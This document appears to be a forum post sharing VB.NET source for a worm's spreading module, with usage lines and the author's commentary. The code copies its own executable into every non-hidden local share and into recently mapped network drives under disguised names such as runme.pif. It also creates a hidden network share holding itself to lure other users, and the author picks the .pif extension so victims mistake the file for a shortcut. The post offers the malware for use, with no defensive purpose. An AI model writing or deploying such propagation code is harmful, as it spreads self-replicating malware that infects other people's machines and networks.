Code
Module spread
Public Sub Share()
Try
Dim shares As New ManagementObjectSearcher("select * from win32_share")
For Each serv As ManagementObject In shares.[Get]()
Dim shareName As String = Convert.ToString(serv("Name"))
If Not shareName.Contains("$") Then
File.Copy(Application.ExecutablePath, "\\" + Environment.MachineName & "\" & shareName & "\runme.pif", True)
End If
Next
Catch ex As Exception
End Try
Try
Dim key As String = "Software\Microsoft\Windows\CurrentVersion\Explorer\Map Network Drive MRU\"
Dim reg As RegistryKey = Registry.CurrentUser.OpenSubKey(key)
For Each valuename As String In reg.GetValueNames()
Dim path As String = reg.GetValue(valuename).ToString()
If valuename.ToLower() <> "mrulist" Then
Try
File.Copy(Application.ExecutablePath, path & "\\installation.exe", True)
File.Copy(Application.ExecutablePath, path & "\\start.pif", True)
Catch er As Exception
End Try
End If
Next
reg.Close()
Catch er As Exception
End Try
End Sub
Public Sub CreateShare(ByVal dir As String, ByVal name As String)
Try
Directory.CreateDirectory(dir)
Dim managementClass As New ManagementClass("Win32_Share")
Dim inParams As ManagementBaseObject = managementClass.GetMethodParameters("Create")
Dim outParams As ManagementBaseObject
inParams("Description") = name
inParams("Name") = name
inParams("Path") = dir
inParams("Type") = &H0
outParams = managementClass.InvokeMethod("Create", inParams, Nothing)
If CUInt(outParams.Properties("ReturnValue").Value) = 0 Then
If Directory.Exists(dir) Then
Dim d As New DirectoryInfo(dir)
d.Attributes = FileAttributes.Hidden
End If
End If
Catch e As Exception
End Try
End Subcredits to yeha worm , improved code and converted to vb.net
usage:
Code
Share()
CreateShare(Environment.GetEnvironmentVariable("programfiles") & "/no-access", "run.pif")the share() function will basically copy the worm into every shared folder/drive on the local machine
the create share will create a shared folder with itself in it , trying to get a network user browsing in the network to run the worm (i know it will rarely work, but anyways its a spreading method , and nearly totally hidden)
so why do i use pif extension for my worm copies? they seem to be less harmfull (more harmless? what ever lol) than exe,scr or com files, also maybe the user will mistake it with a .lnk (non executable link file)
because a pif file is actually a executable lnk file for ms-dos applications
sorry for my bad english